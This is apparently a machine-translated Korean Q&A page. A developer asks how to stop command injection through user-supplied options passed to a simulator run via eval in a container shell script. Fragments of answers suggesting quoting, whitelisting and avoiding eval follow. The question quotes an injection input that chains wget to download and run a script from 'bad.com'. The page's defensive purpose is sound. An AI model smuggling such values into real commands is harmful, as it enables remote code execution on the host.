사용자가 시뮬레이터에 전달할 사용자 지정 옵션을 지정할 수 있도록하는 래퍼 응용 프로그램이 있습니다. 그러나 사용자가 사용자 옵션을 통해 다른 명령을 주입하지 않도록하고 싶습니다. 이것을 달성하는 가장 좋은 방법은 무엇입니까?
예를 들어.
- 사용자는 다음을 제공합니다.
-a -b
- 응용 프로그램이 실행됩니다.
mysim --preset_opt -a -b
그러나 나는 이것이 일어나기를 원하지 않습니다.
- 사용자는 다음을 제공합니다.
&& wget http:\\bad.com\bad_code.sh && .\bad_code.sh
- 응용 프로그램이 실행됩니다.
mysim --preset_opt && wget http:\\bad.com\bad_code.sh && .\bad_code.sh
현재 모든 사용자 제공 옵션을 작은 따옴표 '
로 묶고 사용자가 제공 한 작은 따옴표를 제거하여 마지막 예제의 명령이 무해한 것으로 판명 될 수 있다고 생각합니다.
mysim -preset_opt '&&' 'wget' 'http:\\bad.com\bad_code.sh' '&&' '.\bad_code.sh'
참고 :이 mysim
명령은 docker / lxc 컨테이너에서 셸 스크립트의 일부로 실행됩니다. 우분투를 실행 중입니다.
eval
. mysim
쉘 스크립트 내 에서 실행 파일을 호출하고 있습니다. 사용자가 제공하는 옵션 문자열을 복사하여 mysim
명령 끝에 붙여 넣으면 주입이 발생합니다 .
-a -b
. 따라서 추가 문자열이 해당 문자열에 삽입되지 않도록하고 싶습니다.
[a-zA-Z0-9 _-]
하는 것은 꽤 방어적인 선택처럼 보입니다.
eval
응용 프로그램을 실행? 그렇지 않은 경우 주사가 발생하지 않아야합니다.x="&& echo Doomed" ; echo $x